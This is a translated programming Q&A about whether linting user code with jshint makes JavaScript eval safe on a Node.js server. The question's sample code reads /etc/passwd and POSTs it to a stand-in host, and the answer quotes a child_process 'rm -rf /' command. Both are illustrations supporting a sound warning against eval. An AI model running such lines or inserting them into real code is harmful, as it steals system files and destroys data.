如果在 eval 之前使用（例如）jshint 检查代码，javascript eval 是否仍然危险？

Question

想象一下，例如（授权的）用户可以将自定义格式化程序提交到具有类似这样代码的 nodejs 服务器。

var JSHINT = require('jshint').JSHINT;

function formatterFactory(code) {
   // we could pass more options to jshint...
   JSHINT(code, {undef:true},['input','output']);
   if (JSHINT.data().errors) {
      // throw error...
      console.dir(JSHINT.errors);
      throw new Error(JSHINT.data().errors[0].reason);
   }
   // otherwhise eval
   return function(input) {
     var output;
     eval(code);
     return output;
   }
}

var userNastyCode = '                   \
  var http = require("http");           \
  var fs = require("fs");               \
  http.request({                        \
    method: "POST",                     \
    host: "example.org",                \
    path: "/muahaha"                    \
  }, function(res) {                    \
    res.resume();                       \
  }).end(fs.readFileSync("/etc/passwd"));';

var userFormatter = formatterFactory(userNastyCode);

userFormatter('some thing');

// throws error 'require' is not defined.

Answer 1

用户提供的文本对eval 来说永远不安全，或者至少应该被认为永远不安全，因为您为证明安全所付出的努力远远超过了以不同方式完成您想要的事情的努力。

JSHint 着眼于代码语法和（可能有些主观的）质量衡量标准，恶意代码完全能够满足这两件事。例如，如果您让我在您的服务器上运行它，这是很可爱的代码，可能会造成很大的损害：

require('child_process').spawn('rm', ['-rf', '/']);

JSHint 不会抱怨它，如果您有自定义配置，我可以修改我的代码以通过，或者如 cmets 中所述，只需包含我自己的配置以使 JSHint 安静下来。你应该记住的是，如果你让我把代码交给你运行，我可以做任何你能做的事情。这比只允许我直接编辑您的文件要困难一些，但是您没有真正的方法可以阻止我做您不想要的事情。

在这种特殊情况下，我会考虑几件事：

• 您真的需要用户编写完全任意的格式化程序吗？也许你可以给他们一些已知的选项来选择。
• 您知道要格式化的数据是什么（数字、日期等）吗？您可以放心地让他们选择任意格式以应用于数据类型，例如 yyyy-mm-dd，而无需让他们选择自己的 JS，并且您可以将格式化字符串传递给许多库。
• 你能在他们的浏览器中运行他们的代码吗？他们已经可以在开发人员控制台中运行他们想要的任何 JS，因此如果您可以设置它以便他们的格式化程序在类似的上下文中运行，那么您还没有打开任何漏洞。 （我从未尝试过；它仍然感觉很冒险。）

无论你最终得到什么，我都会在你自己的代码中禁用 JSHint 的 evil 选项 :)